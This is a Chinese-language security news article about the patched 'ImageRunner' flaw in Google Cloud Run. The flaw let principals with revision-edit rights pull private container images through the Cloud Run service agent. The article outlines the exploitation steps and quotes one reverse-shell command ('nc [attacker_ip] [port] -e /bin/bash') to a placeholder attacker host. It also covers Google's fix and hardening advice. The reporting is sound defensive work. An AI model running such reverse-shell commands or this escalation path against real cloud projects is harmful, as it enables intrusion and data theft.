Google Cloud Platform(GCP)中存在一个严重的安全漏洞,该漏洞原本可能使攻击者获取存储在 Google Artifact Registry 和 Google Container Registry 中的私有容器镜像。
这个被称为 “ImageRunner” 的漏洞已得到修复,但它凸显了一个令人担忧的权限提升途径,使敏感的云资源面临风险。
ImageRunner 漏洞
Tenable Research 报告称,该漏洞影响 Google Cloud Run,这是一项用于在无服务器环境中运行容器化应用程序的完全托管服务。
从本质上讲,该问题源于 Cloud Run 在容器部署过程中处理权限的方式。
对 Cloud Run 修订版本(run.services.update 和 iam.serviceAccounts.actAs)拥有编辑权限的身份主体,即便没有通常所需的注册中心权限(Storage Object Viewer 或 Artifact Registry Reader),也能够利用此漏洞访问私有容器镜像。
当用户部署一项 Cloud Run 服务时,会创建一个新的 “修订版本”,代表所部署服务的特定版本。
在此过程中,Cloud Run 依靠一个服务代理从注册中心拉取容器镜像。这个服务代理拥有提升后的权限,以便推动部署过程。
攻击利用方法
利用此漏洞的攻击者可以:
1.控制拥有 run.services.update 和 iam.serviceAccounts.actAs 权限的身份主体。
2.更新正在运行的 Cloud Run 服务,并编辑一个新的修订版本。
3.指定同一项目内的任何私有容器镜像。
4.注入恶意指令作为参数或命令。
例如,攻击者可以指定一个私有 “ncat” 镜像,并添加以下命令来建立反向 shell:nc [attacker_ip] [port] -e /bin/bash。
一旦执行,攻击者就能访问该容器,并可以检查其内容、提取机密信息或窃取敏感数据。
这种攻击能够得逞,是因为 Cloud Run 的服务代理(service-PROJECT_NUMBER@gcf-admin-robot.iam.gserviceaccount.com)拥有拉取镜像所需的权限,而攻击者实际上是 “借用” 了这一权限。
ImageRunner 漏洞例证了 Tenable Research 所称的 “Jenga®” 概念,即构建在其他服务之上的云服务会继承安全风险。如果一个底层服务遭到破坏,构建在其之上的服务也会变得脆弱。
这种漏洞模式在各大云服务提供商中都有出现,给试图保护云基础设施的安全团队带来了重大挑战。
Google 通过实施一项关键的安全控制措施来解决该漏洞:现在,创建或更新 Cloud Run 资源的主体需要获得明确的权限,才能访问正在部署的容器镜像。
具体而言,在使用 Artifact Registry 时,主体必须在包含容器镜像的项目或存储库上拥有 Artifact RegistryReader (roles/artifactregistry.reader)这一 IAM 角色。
该修复措施于 2025 年 1 月 28 日全面应用于生产环境,并且在 2024 年 11 月已提前通知受影响的项目、文件夹和组织所有者。
对云管理员的建议
使用 Google Cloud Platform 的组织应:
1.确保 IAM 权限遵循最小特权原则。
2.验证是否由拥有适当注册中心权限的身份主体执行所有 Cloud Run 部署操作。
3.监控 Cloud Run 修订版本的可疑更新情况。
4.考虑为容器部署实施额外的安全控制措施。
这个漏洞提醒我们,云安全需要保持警惕,防范在现代多服务架构中可能不会立即显现的复杂权限提升途径。
文章原文链接:https://www.anquanke.com/post/id/306174